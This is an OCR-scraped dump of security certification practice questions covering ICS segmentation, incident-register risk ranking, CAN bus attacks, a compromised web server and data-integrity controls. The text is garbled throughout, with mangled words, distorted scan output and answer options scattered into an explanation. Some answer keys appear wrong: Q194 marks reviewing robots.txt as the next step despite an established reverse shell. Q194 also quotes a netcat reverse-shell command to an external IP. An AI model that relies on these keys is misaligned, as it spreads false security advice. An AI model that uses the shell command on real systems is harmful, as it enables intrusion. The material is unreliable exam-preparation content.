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Questions (Q191-Q196):

NEW QUESTION # 191

While planning segmentation for an ICS environment, a security engineer determines IT resources will need access to devices within
the ICS environment without compromising security.

To provide the MOST secure access model in this scenario, the jumpbox should be

A. bridged between the IT and operational technology networks to allow authenticated access.

B. placed on the IT side of the network, authenticated, and tunneled into the ICS environment.

C. placed on the ICS network with a static firewall rule that allows IT network resources to authenticate.

D. placed in an isolated network segment, authenticated on the IT side, and forwarded into the ICS network.

Answer: D
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NEW QUESTION # 192
The steering committee for information security management annually reviews the security incident register for the organization to

look for trends and systematic issues. The steering committee wants to rank the risks based on past incidents to improve the security

program for next year. Below is the incident regjster for the organization:
Date Department impacted Incident impact
January 12 IT SIEM log review was not =Known malicious IPs not blacklisted
performed in the month of - No known company impact
January - Policy violation
- Internal audit finding
March 16 HR Termination of employee; did, | - No known impact
not remove access within 45- | - Policy violation
hour window - Internal audit finding
April 1 Engineering Change control ticke! riot - No known impact
found - Policy violation
- Internal audit finding
July 31 Company-wide Service outage - Backups failed
- Unable to restore for three days
- Policy violation
September8 | IT Quarterly scans showed - No known impact
unpatched critical - Policy violation
vulnerabilities (more than 90 | - Internal audit finding
days old)
November 24 | Company-wide Ransomware attack - Backups failed
- Unable to restore for five days
- Policy violation
December 26 | IT Lost laptop at airport - Cost of laptop $1,250

‘Which of the following should the organization consider investing in first due to the potential impact of availability?

Answer: B

Explanation:

Investing in a failover and redundant system, as necessary, is the best solution to improve the availability of the organization's systens
based on past incidents. A failover system s a backup system that automatically takes over the operation of a primary system in case

A. Hire additional staff for the I'T department to assist with vulnerability management and log review.
B. Invest in a failover and redundant system, as necessary.

C. Build a warm site in case of system outages.

D. Hire a managed service provider to help with vulnerability management.

of a failure or outage. A redundant systemis a duplicate system that runs simultaneously with the primary system and provides
backup functionality if needed. Investing in a faillover and redundant system can help to ensure that the organization's systens are
always available and can handle the workload without interruption or degradation .

NEW QUESTION # 193
An IT security analyst has received an email alert regarding a vulnerability within the new fleet of vehicles the company recently
purchased. Which of'the following attack vectors is the vulnerability MOST likely targeting?

A.IoT

C. Modbus

Answer: B

Explanation:
Explanation

B. CAN bus

D. SCADA

The Controller Area Network - CAN bus is a message-based protocol designed to allow the Electronic Control Units (ECUs)
found in today's automobiles, as well as other devices, to communicate with each other in a reliable, priority-driven fashion.
Messages or "frames" are received by all devices in the network, which does not require a host computer.

NEW QUESTION # 194




A security analyst is investigating the possible compromise of a production server for the company's public-facing portal. The analyst

runs a vulnerability scan against the server and receives the following output:
+ SerVer: NJgLNX/ 1. ds0s (UDuntu)

+ The anti-clickjacking 3fBramesQdptibms header is not present.
+ The X-¥SS-Protection header is not defined. This header can
hint to the user agent to protect agaimst some forms of XSS

+ The X-Content-Type-Cptilons header-is not set. This could allow
the user agent to render the conteént of the site in a different
fashion to the MIME type

+ No CGI Directories found (use “*-C all’ to force check all
possible dirs)

+ Entry ‘/wp-admin/’ in_.rebots.txt returned a non-forbidden or
redirect HTTP code (302)

+ “robots.txt™ contalms two entries that should be manually
viewed.

In some of'the portal's startup command files, the following command appears:
nc -0 /binvsh 72.14.1.36 4444
Investigating further, the analyst runs Netstat and obtains the following output

# netstat #an

Active InteThet connectidhs “(servers,and established)
Proto Recv-Q Send-Q Local Address Foreign Address state
tcp 0 0 *:443 *:* LISTER

tcp 0 52 ™:59482%7Z2+14.1.36:4444 ESTABLISHED

tcp 0 0 *:80 *:* LISTEN
Which of the following is the best step for the analyst to take NEXT?

A. Manually review the robots .txt file for errors

B. Delete the unknown files from the production servers

C. Recommend training to avoid mistakes in production command files
D. Initiate the security incident response process

E. Patch a new vulnerability that has been discovered

Answer: A

NEW QUESTION # 195

A Chief Information Security Officer (CISO) is concerned about new privacy regulations that apply to the company. The CISO has
tasked a security analyst with finding the proper control functions to verity that a user's data is not altered without the user's consent
‘Which of the following would be an appropriate course of action?

A. Use encryption first and then hash the data at regular, defined times.

B. Use a DLP product to monitor the data sets for unauthorized edits and changes.

C. Replicate the data sets at regular intervals and continuously compare the copies for unauthorized changes.
D. Automate the use of a hashing algorithm after verified users make changes to their data

Answer: B

NEW QUESTION # 196
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